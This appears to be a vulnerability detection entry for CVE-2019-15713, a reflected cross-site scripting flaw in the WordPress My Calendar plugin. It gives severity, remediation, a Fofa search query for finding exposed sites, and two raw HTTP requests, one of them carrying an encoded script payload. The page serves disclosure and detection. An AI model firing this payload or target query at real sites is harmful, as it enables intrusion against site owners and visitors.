| Title | WordPress My Calendar <= 3.1.9 - Cross-Site Scripting |
|---|---|
| Author | daffainfo,dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04716 |
| CVE ID | CVE-2019-15713 |
| CWE ID | CWE-79 |
| Fofa Query | "wordpress" && body="wp-content/plugins/my-calendar" |
| Tags | cve cve2019 wordpress xss wp-plugin wpscan my_calendar_project vuln |
WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.
GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15713.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-15713.pcap
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